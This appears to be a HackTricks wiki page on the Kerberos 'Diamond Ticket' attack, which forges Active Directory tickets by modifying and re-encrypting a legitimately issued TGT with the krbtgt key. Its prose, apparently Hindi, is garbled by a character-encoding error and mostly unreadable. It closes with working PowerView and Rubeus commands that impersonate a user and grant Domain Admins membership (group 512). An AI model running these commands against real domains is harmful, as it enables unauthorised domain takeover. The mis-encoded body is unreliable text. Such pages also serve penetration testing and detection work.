Diamond Ticket

Support HackTricks

Diamond Ticket

рдПрдХ рд╕реБрдирд╣рд░рд╛ рдЯрд┐рдХрдЯ рдХреА рддрд░рд╣, рдПрдХ рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ рдПрдХ TGT рд╣реИ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рднреА рд╕реЗрд╡рд╛ рддрдХ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╕реБрдирд╣рд░рд╛ рдЯрд┐рдХрдЯ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдСрдлрд╝рд▓рд╛рдЗрди рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрд╕ рдбреЛрдореЗрди рдХреЗ krbtgt рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЪреВрдВрдХрд┐ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ TGTs рдХреЛ рдЯреНрд░реИрдХ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЙрдиреНрд╣реЛрдВрдиреЗ рд╡реИрдз рд░реВрдк рд╕реЗ рдЬрд╛рд░реА рдХрд┐рдП рд╣реИрдВ, рд╡реЗ рдЦреБрд╢реА-рдЦреБрд╢реА рдЙрди TGTs рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдЗрд╕рдХреЗ рдЕрдкрдиреЗ krbtgt рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВред

рд╕реБрдирд╣рд░реЗ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рд╕рд╛рдорд╛рдиреНрдп рддрдХрдиреАрдХреЗрдВ рд╣реИрдВ:

  • рдЙрди TGS-REQs рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рдХреЛрдИ рд╕рдВрдмрдВрдзрд┐рдд AS-REQ рдирд╣реАрдВ рд╣реИред

  • рдЙрди TGTs рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬрд┐рдирдореЗрдВ рдмреЗрд╡рдХреВрдлреА рдХреЗ рдорд╛рди рд╣реИрдВ, рдЬреИрд╕реЗ Mimikatz рдХрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ 10-рд╡рд░реНрд╖реАрдп рдЬреАрд╡рдирдХрд╛рд▓ред

рдПрдХ рдбрд╛рдпрдордВрдб рдЯрд┐рдХрдЯ рдПрдХ рд╡реИрдз TGT рдХреЗ рдлрд╝реАрд▓реНрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ DC рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдПрдХ TGT рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдХреЗ, рдЗрд╕реЗ рдбреЛрдореЗрди рдХреЗ krbtgt рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдХреЗ, рдЯрд┐рдХрдЯ рдХреЗ рдЗрдЪреНрдЫрд┐рдд рдлрд╝реАрд▓реНрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ, рдлрд┐рд░ рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд╣рд░реЗ рдЯрд┐рдХрдЯ рдХреЗ рджреЛ рдЙрдкрд░реЛрдХреНрдд рдХрдорд┐рдпреЛрдВ рдХреЛ рдкрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐:

  • TGS-REQs рдХреЗ рдкрд╛рд╕ рдПрдХ рдкреВрд░реНрд╡рд╡рд░реНрддреА AS-REQ рд╣реЛрдЧрд╛ред

  • TGT рдПрдХ DC рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрд╕рдореЗрдВ рдбреЛрдореЗрди рдХреА Kerberos рдиреАрддрд┐ рд╕реЗ рд╕рднреА рд╕рд╣реА рд╡рд┐рд╡рд░рдг рд╣реЛрдВрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрди рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЛ рд╕реБрдирд╣рд░реЗ рдЯрд┐рдХрдЯ рдореЗрдВ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рдФрд░ рдЧрд▓рддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЦреБрд▓рд╛ рд╣реИред

# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512

# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
# /ticketuser is the username of the principal to impersonate.
# /ticketuserid is the domain RID of that principal.
# /groups are the desired group RIDs (512 being Domain Admins).
# /krbkey is the krbtgt AES256 hash.
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated